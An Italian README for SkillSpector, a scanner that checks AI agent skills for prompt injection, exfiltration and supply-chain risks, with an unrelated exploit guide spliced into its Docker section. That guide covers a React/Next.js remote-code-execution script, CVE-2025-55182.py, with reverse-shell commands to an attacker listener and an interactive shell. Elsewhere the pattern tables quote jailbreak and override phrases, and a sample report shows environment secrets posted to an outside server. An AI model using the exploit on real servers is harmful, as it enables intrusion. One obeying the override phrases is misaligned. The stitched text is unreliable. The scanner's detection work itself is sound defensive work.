
SkillSpector v2.10.0
Scanner di sicurezza per le skill degli agenti AI. Rileva vulnerabilità, pattern dannosi, rischi di sicurezza, prompt injection, esfiltrazione di dati e rischi della supply chain nelle skill di Claude Code, Codex e MCP prima di installarle.
SkillSpector
Scanner di sicurezza per le skill degli agenti AI. Rileva vulnerabilità, pattern malevoli e rischi di sicurezza prima di installare le skill degli agenti.
Panoramica
Le skill degli agenti AI (utilizzate da Claude Code, Codex CLI, Gemini CLI, ecc.) vengono eseguite con una fiducia implicita e una verifica minima. La ricerca dimostra che il 26,1% delle skill contiene vulnerabilità e il 5,2% mostra una probabile intenzione malevola.
SkillSpector ti aiuta a rispondere alla domanda: "Questa skill è sicura da installare?"
SkillSpector fa parte della pipeline NVIDIA Verified Skills, che analizza, valuta e firma le skill degli agenti prima della pubblicazione. Le skill che superano i controlli vengono pubblicate nel catalogo delle skill NVIDIA.
Documentazione
- Scansiona le skill degli agenti prima dell'installazione — Guida ospitata: quando eseguire la scansione, come leggere un report e come bloccare le installazioni.
- Guida allo sviluppo — Architettura, struttura dei pacchetti e come estendere la pipeline di analisi.
- Limiti delle risorse di analisi — Bundle fail-closed, parser, artefatti annidati, ledger e limiti dei risultati.
- Estensione Pi — Installa SkillSpector come strumento Pi per scansionare le skill dall'interno delle sessioni degli agenti.
Funzionalità
- Input multi-formato: scansiona repository Git, URL, file zip, directory o singoli file
- 71 pattern di vulnerabilità in 17 categorie: prompt injection, esfiltrazione di dati, escalation di privilegi, supply chain, agency eccessiva, gestione dell'output, fuga del system prompt, avvelenamento della memoria, uso improprio degli strumenti, agente rogue, anti-rifiuto, abuso dei trigger, codice pericoloso (AST), taint tracking, firme YARA, privilegio minimo MCP e avvelenamento degli strumenti MCP
- Analisi in due fasi: analisi statica rapida + valutazione semantica LLM opzionale
- Ricerche di vulnerabilità in tempo reale: SC4 interroga OSV.dev per dati CVE in tempo reale con fallback offline automatico
- Formati di output multipli: report per terminale, JSON, Markdown e SARIF
- Punteggio di rischio: punteggio da 0 a 100 con etichette di gravità e raccomandazioni chiare
- Baseline / soppressione dei falsi positivi: accetta risultati noti tramite una regola glob o una baseline di fingerprint, così le ri-scansioni evidenziano solo i problemi nuovi (documentazione)
Avvio rapido
Installazione
Avviso sul software open source: Questo progetto scaricherà e installerà ulteriori progetti software open source di terze parti. Esamina i termini di licenza di questi progetti open source prima dell'uso.
Crea e attiva prima un ambiente virtuale (tutti i target di make presuppongono che il venv sia attivo). Usa uv o pip; il Makefile usa uv se disponibile, altrimenti pip.
Installazione rapida con uv (solo CLI):```bash uv tool install git+https://github.com/NVIDIA/skillspector.git
Update later: uv tool update skillspector
Se prevedi di eseguire `skillspector mcp`, installa l'extra MCP al momento dell'installazione:```bash
uv tool install 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'
Dalla fonte:```bash
Clone the repository
git clone https://github.com/NVIDIA/skillspector.git cd skillspector
Create and activate virtual environment
uv venv .venv && source .venv/bin/activate
or: python3 -m venv .venv && source .venv/bin/activate
Install for production use
make install
Or install with development dependencies
make install-dev
### Docker (nessun Python richiesto)
Esegui SkillSpector senza installare Python compilandolo localmente dal [Dockerfile](https://github.com/nvidia/skillspector/blob/main/Dockerfile) incluso. L'immagine si basa sull'immagine Docker Official Python `3.12-slim-bookworm`.
**Compila l'immagine:**```bash
make docker-build
# or: docker build -t skillspector .
Scansiona una directory locale montando la tua directory corrente in /scan, la directory di lavoro del container:```bash
docker run --rm -v "$PWD:/scan" skillspector scan ./my-skill/ --no-llm
**Scansione con analisi LLM** passando le credenziali tramite un file `.env` locale:```bash
cat > .env <<'EOF'
SKILLSPECTOR_PROVIDER=anthropic
ANTHROPIC_API_KEY=sk-ant-...
EOF
Utilizzo
python3 CVE-2025-55182.py -u <URL> [--cmd <command>] [--lhost <IP>] [--lport <PORT>] [--revshell <type>] [--proxy <URL>] [--no-color]
Argomenti
| Argomento | Descrizione |
|---|---|
-u, --url | URL di destinazione (obbligatorio) |
--cmd | Esegue un singolo comando e termina |
--lhost | IP in ascolto per la reverse shell |
--lport | Porta in ascolto per la reverse shell |
--revshell | Tipo di reverse shell: bash, nc, python, python3, perl, php, ruby, powershell |
--proxy | Proxy HTTP(S) (es. http://127.0.0.1:8080) |
--no-color | Disabilita l'output colorato |
Esempi
# Modalità interattiva (shell predefinita)
python3 CVE-2025-55182.py -u http://target:3000
# Esegue un singolo comando
python3 CVE-2025-55182.py -u http://target:3000 --cmd "id"
# Reverse shell bash
python3 CVE-2025-55182.py -u http://target:3000 --lhost 10.10.14.5 --lport 4444 --revshell bash
# Reverse shell Python3
python3 CVE-2025-55182.py -u http://target:3000 --lhost 10.10.14.5 --lport 4444 --revshell python3
# Reverse shell PowerShell
python3 CVE-2025-55182.py -u http://target:3000 --lhost 10.10.14.5 --lport 4444 --revshell powershell
# Tramite proxy (Burp Suite)
python3 CVE-2025-55182.py -u http://target:3000 --proxy http://127.0.0.1:8080
Modalità interattiva
Quando viene eseguito senza --cmd o --revshell, lo script entra in una shell interattiva:
[+] Shell interattiva avviata. Digita 'exit' per uscire.
$ id
uid=1000(node) gid=1000(node) groups=1000(node)
$ whoami
node
$ exit
Come funziona
- Invia una richiesta POST a
/_next/actioncon un payload multipart che contiene un oggetto$ACTION_REF_1con un riferimento a un modulo inesistente. - Il server React risponde con un errore che rivela il percorso del modulo e il contesto di esecuzione.
- Invia un secondo payload che sfrutta il meccanismo di risoluzione dei moduli per iniettare un comando tramite
child_process.execSync. - Il comando viene eseguito sul server e l'output viene restituito nella risposta.
Mitigazione
- Aggiorna React alla versione più recente (React 19.2.1 o successiva) che corregge la vulnerabilità.
- Aggiorna Next.js all'ultima versione stabile.
- Limita l'accesso agli endpoint
/_next/actiontramite un WAF o regole di reverse proxy. - Esegui il server Node.js con privilegi minimi e in un ambiente isolato (container, sandbox).
- Monitora i log per richieste sospette a
/_next/actioncon payload insoliti.
Riferimenti
Licenza
Questo progetto è distribuito con licenza MIT. Vedi il file LICENSE per i dettagli.
Disclaimer
Questo strumento è fornito solo a scopo educativo e di ricerca sulla sicurezza. Gli autori non sono responsabili per qualsiasi uso improprio o danno causato da questo software. Usalo solo su sistemi di tua proprietà o per i quali hai ricevuto autorizzazione esplicita.```bash
docker run --rm
-v "$PWD:/scan"
--env-file .env
skillspector scan ./my-skill/
Oppure passa le credenziali direttamente dal tuo ambiente shell:```bash
docker run --rm \
-v "$PWD:/scan" \
-e SKILLSPECTOR_PROVIDER=anthropic \
-e ANTHROPIC_API_KEY="$ANTHROPIC_API_KEY" \
skillspector scan ./my-skill/
Scrivi un report sul filesystem dell'host scrivendo nella directory montata:```bash
docker run --rm
-v "$PWD:/scan"
skillspector scan ./my-skill/ --no-llm --format json --output report.json
**Alias opzionale** per scansioni statiche ripetute:```bash
alias skillspector-docker='docker run --rm -v "$PWD:/scan" skillspector'
skillspector-docker scan ./my-skill/ --no-llm
Utilizzo di base```bash
Scan a local skill directory
skillspector scan ./my-skill/
Scan a single SKILL.md file
skillspector scan ./SKILL.md
Scan a Git repository
skillspector scan https://github.com/user/my-skill
Scan a zip file
skillspector scan ./my-skill.zip
#### Limiti di dimensione
SkillSpector applica due limiti indipendenti sugli input remoti e sugli archivi per circoscrivere l'impatto di download sovradimensionati e zip bomb:
- **Limite per ingest**: `INGEST_MAX_BYTES` (100 MiB) — applicato ai download URL in streaming, alla dimensione totale non compressa degli archivi zip e all'utilizzo del disco post-clone dei repository Git.
- **Limite per membro zip**: `INGEST_MAX_ZIP_MEMBERS` (10.000) — limita il numero di voci in un singolo zip.
Si noti che il limite di analisi di 1 MB per file (`MAX_FILE_BYTES`) è un limite separato e a valle: circoscrive ciò che i singoli analizzatori leggeranno da una directory già sottoposta a ingest. I limiti di ingest sopra indicati circoscrivono invece quanti contenuti possono essere effettivamente scritti su disco. Una violazione di uno qualsiasi dei limiti di ingest fallisce in modo sicuro con un `IngestLimitExceededError`.
### Formati di output```bash
# Terminal output (default) - pretty formatted
skillspector scan ./my-skill/
# JSON output - machine readable
skillspector scan ./my-skill/ --format json --output report.json
# Markdown output - for documentation
skillspector scan ./my-skill/ --format markdown --output report.md
# SARIF output - for CI/CD integration and IDE tooling
skillspector scan ./my-skill/ --format sarif --output report.sarif
Scansione in Batch
Scansiona intere directory di skill in parallelo da contrib/batch_scan/:```bash
python -m contrib.batch_scan.batch_scan ./my-skills/ --no-llm
python -m contrib.batch_scan.batch_scan ./my-skills/ --workers 20 -f json -o report.json
python -m contrib.batch_scan.batch_scan ./tests/fixtures/ -f terminal --workers 20
Supporta il rilevamento multilingue (zh/ja/ko) e l'output in terminale/JSON/Markdown.
Per le scansioni LLM con concorrenza più elevata, configura più chiavi API seguendo
[`.env.example`](https://github.com/nvidia/skillspector/blob/main/contrib/batch_scan/.env.example) — il pool migliora il throughput
e la resilienza, a condizione che le chiavi non condividano un limite di velocità a livello di account.
Consulta la [guida per i contributori](https://github.com/nvidia/skillspector/blob/main/contrib/batch_scan/docs) per i dettagli.
> **Nota sul supporto LLM:** La configurazione predefinita punta a DeepSeek come
> opzione pubblica più economica. DeepSeek-Chat è
> [previsto in dismissione](https://api-docs.deepseek.com/), e il contributore
> non dispone dell'hardware per testare modelli locali. Lo scanner batch è stato
> originariamente testato con endpoint compatibili con OpenAI — la mancanza di
> supporto per l'output strutturato di DeepSeek ha richiesto patch manuali per il parsing JSON. Se puoi
> contribuire con un backend più universale (Ollama, vLLM o un provider diverso),
> le PR sono molto benvenute.
### Soppressione dei falsi positivi (baseline)
Sopprimi i risultati noti/accettati in modo che il punteggio di rischio rifletta solo i problemi
non ancora analizzati e le nuove scansioni facciano emergere solo i risultati *nuovi*. Consulta la
[guida alla soppressione](https://github.com/nvidia/skillspector/blob/main/docs/SUPPRESSION.md) per il riferimento completo.```bash
# Accept all current findings into a baseline (run once), then commit it.
skillspector baseline ./my-skill/ -o .skillspector-baseline.yaml
# Scan against the baseline — only NEW findings are reported and scored.
skillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml
# Review what was suppressed (still excluded from the score).
skillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml --show-suppressed
Una baseline può anche usare regole glob tolleranti alla deriva (per id regola, percorso file o
messaggio) — vedi .skillspector-baseline.example.yaml.
Le baseline con fingerprint esatto sono vincolate alle evidenze: modificare il sorgente scansionato o
la versione di SkillSpector mantiene il finding attivo finché non viene riesaminato.
Quando una baseline selezionata o l'output di una baseline è memorizzato all'interno della directory
della skill, SkillSpector esclude quel file esatto dall'analisi dei contenuti, così il suo testo di
soppressione non può creare finding o entrare nei fingerprint rigenerati;
i file adiacenti rimangono nel normale ambito di scansione.
Analisi LLM
Per ottenere i migliori risultati, configura un endpoint LLM compatibile con OpenAI per
l'analisi semantica. Scegli un provider con SKILLSPECTOR_PROVIDER; i provider ospitati includono modelli predefiniti integrati, mentre i provider CLI ricadono sul modello predefinito del runtime locale a meno che SKILLSPECTOR_MODEL non sia impostato. SkillSpector funziona anche con
server locali compatibili con OpenAI (Ollama, vLLM, llama.cpp) e gateway di
inferenza gestiti.
Provider (SKILLSPECTOR_PROVIDER) | Variabile d'ambiente credenziale | Endpoint | Modello predefinito |
|---|---|---|---|
openai | OPENAI_API_KEY (+ opzionale OPENAI_BASE_URL) | api.openai.com (o qualsiasi URL compatibile con OpenAI) | gpt-5.4 |
anthropic | ANTHROPIC_API_KEY | api.anthropic.com | claude-opus-4-6 |
anthropic_proxy | ANTHROPIC_PROXY_API_KEY + ANTHROPIC_PROXY_ENDPOINT_URL | Qualsiasi proxy raw-predict in stile Vertex | claude-sonnet-4-6 |
bedrock | AWS_PROFILE (opzionale) + AWS_REGION — SigV4 tramite boto3 | AWS Bedrock Runtime | us.anthropic.claude-sonnet-4-6-20250915-v1:0 |
nv_build | NVIDIA_INFERENCE_KEY | build.nvidia.com | deepseek-ai/deepseek-v4-flash |
claude_cli | (nessuna — usa l'autenticazione CLI locale) | binario claude locale | fallback del runtime Claude locale, o SKILLSPECTOR_MODEL |
codex_cli | (nessuna — usa l'autenticazione CLI locale) | binario codex locale | fallback del runtime Codex locale, o SKILLSPECTOR_MODEL |
Stock OpenAI
export SKILLSPECTOR_PROVIDER=openai export OPENAI_API_KEY=sk-... skillspector scan ./my-skill/
Anthropic
export SKILLSPECTOR_PROVIDER=anthropic export ANTHROPIC_API_KEY=sk-ant-... skillspector scan ./my-skill/
Anthropic via Vertex-style proxy (corporate gateways, GCP Vertex AI)
export SKILLSPECTOR_PROVIDER=anthropic_proxy export ANTHROPIC_PROXY_ENDPOINT_URL=https://my-gateway.example.com/models/claude-sonnet-4-6:streamRawPredict export ANTHROPIC_PROXY_API_KEY=your-bearer-token export SKILLSPECTOR_MODEL=claude-sonnet-4-6 skillspector scan ./my-skill/
AWS Bedrock (Claude via SigV4)
export SKILLSPECTOR_PROVIDER=bedrock
Optional: select an AWS named profile. When unset, the standard
boto3 credential chain (env vars, instance metadata, SSO, etc.) resolves.
export AWS_PROFILE=my-profile
export AWS_REGION=us-west-2 # default if unset
Default model: us.anthropic.claude-sonnet-4-6-20250915-v1:0
Override with any Bedrock model ID, cross-region inference-profile
ID, or your own application-inference-profile ARN:
export SKILLSPECTOR_MODEL=us.anthropic.claude-opus-4-6-20250915-v1:0
skillspector scan ./my-skill/
NVIDIA build.nvidia.com
export SKILLSPECTOR_PROVIDER=nv_build export NVIDIA_INFERENCE_KEY=nvapi-... skillspector scan ./my-skill/
Local Claude CLI — no API key; uses your existing claude auth login session
Requires: claude CLI installed and authenticated (claude auth login)
export SKILLSPECTOR_PROVIDER=claude_cli
Uses the local Claude CLI runtime fallback unless SKILLSPECTOR_MODEL is set.
export SKILLSPECTOR_MODEL=claude-sonnet-4-6
skillspector scan ./my-skill/
Local Codex CLI — no API key; uses your existing codex login session
Requires: codex CLI installed and authenticated
export SKILLSPECTOR_PROVIDER=codex_cli skillspector scan ./my-skill/
Local Ollama or any OpenAI-compatible endpoint
export SKILLSPECTOR_PROVIDER=openai export OPENAI_API_KEY=ollama export OPENAI_BASE_URL=http://localhost:11434/v1 export SKILLSPECTOR_MODEL=llama3.1:8b skillspector scan ./my-skill/
Override the provider's default model
export SKILLSPECTOR_MODEL=gpt-5.2 skillspector scan ./my-skill/
Skip LLM analysis (faster, static analysis only)
skillspector scan ./my-skill/ --no-llm
### MCP Server
Esegui SkillSpector come server [Model Context Protocol](https://modelcontextprotocol.io)
in modo che qualsiasi agente compatibile con MCP (Claude Code, Codex CLI, Gemini CLI) o runtime
remoto possa invocare la scansione come strumento e **bloccare le installazioni di skill/MCP in base al
risultato** — trasformando SkillSpector in una barriera di sicurezza a runtime invece che in un
passaggio di audit fuori banda.
`skillspector mcp` richiede `skillspector[mcp]`.```bash
# Install, or reinstall if you already used the CLI-only path
uv tool install --force 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'
# FastMCP stdio transport for local CLI agents
skillspector mcp
# streamable HTTP/SSE transport for remote / A2A callers
skillspector mcp --transport http --host 127.0.0.1 --port 8000
Il transport stdio è l'attuale percorso FastMCP per gli agenti CLI locali, e il blocco dell'inizializzazione segnalato nella issue #199 vale ancora in quel contesto.
Il server espone un singolo tool:
scan_skill(target, use_llm=true, output_format="json")— analizza un URL Git, un URL file, un file.zip,.md, o una directory e restituisce un verdetto strutturato:risk_score(0-100),severity,recommendation,safe_to_install, efindings. Riporta anchellm_used/scan_modecosì che un punteggio basso derivante da una scansione solo statica non venga mai scambiato per una scansione completa pulita.
Registralo con Claude Code tramite:```bash claude mcp add skillspector -- skillspector mcp
> **Sicurezza — modello di fiducia del trasporto HTTP**
>
> Il trasporto HTTP viene fornito **senza autenticazione**. Qualsiasi chiamante che riesca a
> raggiungere la porta può invocare `scan_skill`. Su stdio o `127.0.0.1` questo rappresenta
> lo stesso confine di fiducia della CLI. Se si esegue il binding su un'interfaccia instradabile:
>
> - Collocare il server dietro un reverse proxy con autenticazione (ad es. nginx + mTLS)
> prima di esporlo esternamente.
> - I percorsi locali e gli URL `file://` vengono **automaticamente rifiutati** su HTTP per
> impedire a chiamanti non autenticati di leggere file arbitrari dell'host. Sono accettati
> solo URL Git remoti e `.zip`.
## Pattern di vulnerabilità
SkillSpector rileva **71 pattern di vulnerabilità** in 17 categorie:
### Prompt Injection (6 pattern)
| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| P1 | Instruction Override | HIGH | Comandi per ignorare i vincoli di sicurezza |
| P2 | Hidden Instructions | HIGH | Direttive malevole in commenti/testo invisibile |
| P3 | Exfiltration Commands | HIGH | Istruzioni per trasmettere il contesto all'esterno |
| P4 | Behavior Manipulation | MEDIUM | Istruzioni subdole che alterano le decisioni dell'agente |
| P5 | Harmful Content | CRITICAL | Istruzioni che potrebbero causare danni fisici |
| P9 | Whitespace Padding | MEDIUM | Ampio riempimento di spazi bianchi che nasconde istruzioni sotto/accanto all'area visibile |
### Anti-Refusal (3 pattern)
| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| AR1 | Refusal Suppression | HIGH | Istruzioni a non rifiutare mai o a conformarsi sempre (ad es. "never refuse", "always comply") |
| AR2 | Disclaimer Suppression | HIGH | Istruzioni a omettere avvertenze, disclaimer o commenti etici (ad es. "no disclaimers", "do not moralize") |
| AR3 | Safety Policy Nullification | HIGH | Inquadramento jailbreak che annulla le protezioni (ad es. "you have no restrictions", "ignore your guidelines", "do anything now") |
### Data Exfiltration (4 pattern)
| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| E1 | External Transmission | MEDIUM | Invio di dati a URL esterni |
| E2 | Env Variable Harvesting | HIGH | Enumerazione, copia o ricerca di dati d'ambiente per raccogliere segreti |
| E3 | File System Enumeration | MEDIUM | Scansione di directory alla ricerca di file sensibili |
| E4 | Context Leakage | HIGH | Trasmissione del contesto della conversazione all'esterno |
### Privilege Escalation (3 pattern)
| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| PE1 | Excessive Permissions | LOW | Richiesta di accesso oltre la funzionalità dichiarata |
| PE2 | Sudo/Root Execution | MEDIUM | Invocazione di privilegi di sistema elevati |
| PE3 | Credential Access | HIGH | Lettura di chiavi SSH, token, password |
### Supply Chain (9+ pattern)
| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| SC1 | Unpinned Dependencies | LOW | Nessun vincolo di versione sui pacchetti |
| SC2 | External Script Fetching | HIGH | curl \| bash ed esecuzione di codice remoto |
| SC3 | Obfuscated Code | HIGH | Esecuzione codificata in Base64/hex |
| SC4 | Known Vulnerable Dependencies | HIGH | Dipendenze con CVE note (ricerca live su OSV.dev) |
| SC5 | Abandoned Dependencies | MEDIUM | Pacchetti non mantenuti senza aggiornamenti di sicurezza |
| SC6 | Typosquatting | HIGH | Nomi di pacchetti simili a pacchetti popolari |
| SC8 | Shipped Python Bytecode | HIGH | `__pycache__` / `.pyc` presenti (la discovery li salta; bypass tramite bytecode malevolo) |
| SC9 | Concealed Executable Artifact | HIGH | Eseguibile annidato in un contenitore documento o artefatto nascosto/mascherato |
### Excessive Agency (5 pattern)
| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| EA1 | Unrestricted Tool Access | HIGH | Accesso illimitato agli strumenti senza vincoli |
| EA2 | Autonomous Decision Making | HIGH | Decisioni ad alto impatto senza intervento umano |
| EA3 | Scope Creep | MEDIUM | Capacità che si estendono oltre lo scopo dichiarato |
| EA4 | Unbounded Resource Access | MEDIUM | Nessun limite di frequenza o quota sul consumo di risorse |
| EA5 | External Model or Provider Selection | MEDIUM/HIGH | Pin di modello/provider o shell-out di CLI di coding che possono cambiare account di fatturazione |
### Output Handling (3 pattern)
| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| OH1 | Unvalidated Output Injection | HIGH | Output del modello usato senza sanitizzazione |
| OH2 | Cross-Context Output | MEDIUM | L'output attraversa confini di fiducia senza validazione |
| OH3 | Unbounded Output | MEDIUM | Nessun limite alla dimensione dell'output o alla frequenza di generazione |
### System Prompt Leakage (3 pattern)
| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| P6 | Direct Leakage | HIGH | Istruzioni che espongono system prompt o regole interne |
| P7 | Indirect Extraction | MEDIUM | Estrazione tramite riformulazione, traduzione o canali laterali |
| P8 | Tool-Based Exfiltration | HIGH | System prompt esfiltrati tramite scritture su file o richieste di rete |
### Memory Poisoning (3 pattern)
| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| MP1 | Persistent Context Injection | HIGH | Contenuto progettato per persistere tra le interazioni |
| MP2 | Context Window Stuffing | MEDIUM | Contenuto riempitivo che spiazza i vincoli di sicurezza |
| MP3 | Memory Manipulation | HIGH | Manomissione della memoria dell'agente o dello stato memorizzato |
### Tool Misuse (3 pattern)
| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| TM1 | Tool Parameter Abuse | HIGH | Parametri costruiti ad arte per comportamenti non previsti (shell=True, --force) |
| TM2 | Chaining Abuse | HIGH | Catene di strumenti che aggirano i singoli controlli di sicurezza |
| TM3 | Unsafe Defaults | MEDIUM | Default eccessivamente permissivi (TLS disabilitato, nessuna autenticazione) |
### Rogue Agent (2 pattern)
| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| RA1 | Self-Modification | CRITICAL | Modifica del proprio codice o configurazione a runtime |
| RA2 | Session Persistence | HIGH | Persistenza non autorizzata tramite cron job o script di avvio |
### Trigger Abuse (3 pattern)
| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| TR1 | Overly Broad Trigger | MEDIUM | Pattern di trigger che corrispondono a parole comuni |
| TR2 | Shadow Command Trigger | HIGH | Trigger che oscurano comandi integrati o altre skill |
| TR3 | Keyword Baiting Trigger | MEDIUM | Trigger generici progettati per massimizzare l'attivazione |
### Behavioral AST (9 pattern)
| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| AST1 | exec() Call | CRITICAL | exec() diretto che consente l'esecuzione di codice arbitrario |
| AST2 | eval() Call | HIGH | eval() diretto che valuta espressioni arbitrarie |
| AST3 | Dynamic Import | HIGH | \_\_import\_\_() che carica moduli arbitrari a runtime |
| AST4 | subprocess Call | HIGH | Esecuzione di comandi esterni tramite subprocess |
| AST5 | os.system / exec-family | HIGH | Comandi shell tramite il modulo os |
| AST6 | compile() Call | MEDIUM | Creazione di oggetti codice da stringhe |
| AST7 | Dynamic getattr() | MEDIUM | Accesso ad attributi arbitrari con nomi non letterali |
| AST8 | Dangerous Execution Chain | CRITICAL | exec/eval combinati con sorgente dinamica (rete, dati codificati) |
| AST9 | Reflective getattr() Sink | HIGH | exec riflessivo tramite `getattr(os,'system')` / `getattr(builtins,'exec')` che elude AST1/AST5 |
### Taint Tracking (5 pattern)
| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| TT1 | Direct Taint Flow | HIGH | I dati fluiscono direttamente da una sorgente a un sink senza sanitizzazione |
| TT2 | Variable-Mediated Taint Flow | MEDIUM | I dati fluiscono dalla sorgente al sink attraverso variabili intermedie |
| TT3 | Credential Exfiltration Chain | CRITICAL | Le credenziali (variabili d'ambiente, segreti) fluiscono verso sink di output di rete |
| TT4 | File Read to Network Exfiltration | HIGH | Il contenuto dei file fluisce verso sink di output di rete |
| TT5 | External Input to Code Execution | CRITICAL | Input di rete o utente fluisce verso sink exec/eval/subprocess |
### YARA Signatures (4 pattern)
| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| YR1 | Malware Match | CRITICAL | Corrispondenza di regola YARA per firme di malware note |
| YR2 | Webshell Match | CRITICAL | Corrispondenza di regola YARA per pattern di webshell |
| YR3 | Cryptominer Match | HIGH | Corrispondenza di regola YARA per indicatori di crypto mining |
| YR4 | Hack Tool / Exploit Match | HIGH | Corrispondenza di regola YARA per hack tool o codice exploit |
### MCP Least Privilege (4 pattern)
| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| LP1 | Underdeclared Capability | HIGH | Il codice usa capacità non elencate nei permessi dichiarati |
| LP2 | Wildcard Permission | MEDIUM | L'elenco dei permessi contiene wildcard (\*, all, full, any) |
| LP3 | Missing Permission Declaration | MEDIUM | Nessun campo permessi ma il codice ha capacità rilevabili |
| LP4 | Overdeclared Permission | LOW | Permesso dichiarato ma nessuna capacità corrispondente trovata nel codice |
### MCP Tool Poisoning (4 pattern)
| ID | Pattern | Gravità | Descrizione |
|----|---------|----------|-------------|
| TP1 | Hidden Instructions | HIGH | Direttive nascoste nei metadati (commenti HTML, caratteri a larghezza zero, base64, data URI) |
| TP2 | Unicode Deception | HIGH | Omoglifi, override RTL, identificatori a script misto nei metadati degli strumenti |
| TP3 | Parameter Description Injection | MEDIUM | Pattern di injection nelle definizioni dei parametri (override, token di sistema, default malevoli) |
| TP4 | Description-Behavior Mismatch | MEDIUM | La descrizione dichiarata dello strumento non corrisponde al comportamento effettivo del codice (basato su LLM) |
Tutti i pattern rilevati sono elencati nelle tabelle sopra.
## Punteggio di rischio
### Calcolo del punteggio
- **Problemi CRITICAL**: +50 punti
- **Problemi HIGH**: +25 punti
- **Problemi MEDIUM**: +10 punti
- **Problemi LOW**: +5 punti
- **Script eseguibili**: moltiplicatore 1.3x
### Livelli di gravità
| Punteggio | Gravità | Raccomandazione |
|-----------|---------|-----------------|
| 0-20 | LOW | SAFE |
| 21-50 | MEDIUM | CAUTION |
| 51-80 | HIGH | DO NOT INSTALL |
| 81-100 | CRITICAL | DO NOT INSTALL |
## Esempio di output
### Output del terminale```
SkillSpector Security Report v2.0.0
Skill: suspicious-skill
Source: ./suspicious-skill/
Scanned: 2026-01-29 10:30:00 UTC
Risk Assessment
Metric Value
Score 78/100
Severity HIGH
Recommendation DO NOT INSTALL
Components (3)
File Type Lines Executable
SKILL.md markdown 142 No
scripts/sync.py python 87 Yes
requirements.txt text 3 No
Issues (2)
HIGH: Env Variable Harvesting (E2)
Location: scripts/sync.py:23
Finding: for key, val in os.environ.items():...
Confidence: 94%
Explanation: This code collects environment variables containing
API keys and secrets, then sends them to an external server.
HIGH: External Transmission (E1)
Location: scripts/sync.py:45
Finding: requests.post("https://api.skill.io/env"...
Confidence: 89%
Explanation: Data is being sent to an external server. Combined
with env harvesting above, this indicates credential exfiltration.
Configurazione
Variabili d'ambiente
| Variabile | Descrizione | Richiesta |
|---|---|---|
SKILLSPECTOR_PROVIDER | Provider LLM attivo: openai, anthropic, anthropic_proxy, bedrock, nv_build, claude_cli, codex_cli o gemini_cli. I provider ospitati utilizzano i valori predefiniti del file model_registry.yaml incluso; claude_cli e codex_cli ricadono sul modello predefinito del runtime CLI locale a meno che non sia impostato SKILLSPECTOR_MODEL. Il valore predefinito è nv_build. | Opzionale |
NVIDIA_INFERENCE_KEY | Credenziale per il provider nv_build (build.nvidia.com). | Richiesta per l'analisi LLM quando SKILLSPECTOR_PROVIDER=nv_build |
OPENAI_API_KEY | Credenziale per il provider OpenAI (SKILLSPECTOR_PROVIDER=openai). Funge anche da fallback di livello 2 nella cascata delle credenziali quando il provider attivo non restituisce credenziali. | Richiesta per l'analisi LLM quando SKILLSPECTOR_PROVIDER=openai |
OPENAI_BASE_URL | Sostituisce l'endpoint OpenAI (ad es. per puntare a Ollama). | Opzionale |
SKILLSPECTOR_REASONING_EFFORT | Impostazione opzionale dello sforzo di ragionamento, dipendente dal provider e dal modello. I valori non vuoti vengono ripuliti dagli spazi e passati invariati; se non impostata o vuota, mantiene il comportamento predefinito del provider. | Opzionale |
SKILLSPECTOR_OUTPUT_LANGUAGE | Etichetta di lingua breve, su una sola riga (lettere, numeri, spazi, _ o -; massimo 64 caratteri) per il testo leggibile dall'uomo dei risultati LLM, come messaggi, spiegazioni e remediation. Gli ID delle regole, i valori di severità, i percorsi, il codice e altri valori leggibili dalla macchina rimangono invariati. Valori non impostati, vuoti o non validi mantengono la lingua di output predefinita. | Opzionale |
SKILLSPECTOR_TEMPERATURE | Temperatura di campionamento opzionale da 0 a 1 per i provider ospitati. Se non impostata o vuota, mantiene il valore predefinito del provider. Valori più bassi possono ridurre la variazione tra esecuzioni ma non garantiscono un output identico. | Opzionale |
SKILLSPECTOR_SEED | Seed di campionamento intero opzionale per i provider compatibili con OpenAI e Azure OpenAI. Gli altri provider ospitati e i provider CLI non lo ricevono. Il supporto da parte dei provider rimane dipendente dal modello. | Opzionale |
ANTHROPIC_API_KEY | Credenziale per il provider Anthropic (SKILLSPECTOR_PROVIDER=anthropic). | Richiesta per l'analisi LLM quando SKILLSPECTOR_PROVIDER=anthropic |
ANTHROPIC_BASE_URL | Sostituisce l'endpoint nativo Anthropic (predefinito: https://api.anthropic.com). | Opzionale |
ANTHROPIC_PROXY_ENDPOINT_URL | URL completo dell'endpoint per il provider proxy Anthropic (raw-predict in stile Vertex). | Richiesta quando SKILLSPECTOR_PROVIDER=anthropic_proxy |
ANTHROPIC_PROXY_API_KEY | Token Bearer per il provider proxy Anthropic. | Richiesta quando SKILLSPECTOR_PROVIDER=anthropic_proxy |
ANTHROPIC_PROXY_API_VERSION | Valore anthropic_version inviato nel corpo della richiesta (predefinito: vertex-2023-10-16). | Opzionale |
AWS_PROFILE | Profilo AWS denominato per il provider Bedrock — autentica tramite SigV4 attraverso boto3. Se non impostato, viene risolta la catena di credenziali standard di boto3 (variabili d'ambiente, metadati dell'istanza, SSO, ecc.). | Opzionale (utilizzata quando SKILLSPECTOR_PROVIDER=bedrock) |
AWS_REGION | Regione AWS per l'endpoint Bedrock Runtime. Il valore predefinito è us-west-2. | Opzionale (utilizzata quando SKILLSPECTOR_PROVIDER=bedrock) |
